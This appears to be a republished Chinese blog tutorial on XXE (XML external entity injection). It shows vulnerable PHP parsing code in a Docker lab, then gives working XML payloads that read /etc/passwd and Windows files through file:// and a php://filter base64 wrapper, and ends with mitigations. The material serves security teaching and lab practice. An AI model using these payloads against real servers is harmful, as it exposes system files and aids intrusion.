XXE漏洞利用

Posted 王小帥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞利用相关的知识,希望对你有一定的参考价值。

XXE(XML外部实体注入)

漏洞介绍

漏洞复现

漏洞防御


漏洞介绍

XXE(XMLExternal Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

漏洞复现

打开靶机:

docker-compose up -d

docker ps

 

主机访问:

可以看到,发现libxml版本低于2.9.0,所以存在XXE漏洞;

该靶机目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php;

我们看下源码:

dom.php

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

 可以看到是从字符串加载xml文档,可以触发XXE漏洞。

我们访问 http://192.168.41.138:8080/dom.php,抓包,并加入下列xml代码,读取用户名信息。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe[ 
	<!ELEMENT test ANY >	
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
<test>
	<name>&xxe;</name>					
</test>		

可以看到,已经爆出来了。 

SimpleXMLElement.php 

源码:

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

可以看到源码中,SimpleXMLElement类标识xml文档中的元素,也可以XXE,我们使用相同的方法,也可以利用。

 simplexml_load_string.php

源码:

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

 源码中,接受格式正确的XML字符串,并将其作为对象返回,只要我们传入的xml注入格式无误,也可以进行XXE攻击,如下:

Linux:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe[ 
	<!ELEMENT test ANY >	
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
<test>
	<name>&xxe;</name>					
</test>		

这里我使用的linux搭建的环境,如果服务器是windows系统的话,我们利用如下方式进行攻击:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY xxe SYSTEM "C:/Users/mi/Desktop/eg.txt">
]>
<test>
	<name>&xxe;</name>					
</test>		
 
用file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY xxe SYSTEM "file:///C:/Users/mi/Desktop/eg.txt">
]>
<test>
	<name>&xxe;</name>					
</test>		
 
用base64编码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Users/mi/Desktop/eg.txt">
]>
<test>
	<name>&xxe;</name>					
</test>		

别忘了关闭环境:

docker-compose stop

 

漏洞防御

  1. 禁止使用外部实体,例如libxml_disable_entity_loader (true) 。
  2. 过滤用户提交的XML数据,防止出现非法内容。
  3. 升级libxml库版本。

 相关文章:XXE漏洞原理

 

以上是关于XXE漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

XXE漏洞简介以及Payload收集

XXE漏洞利用

XXE漏洞利用

八漏洞原理及利用XXE 笔记和靶场

XXE漏洞详解与利用

Web漏洞|XXE漏洞详解(XML外部实体注入)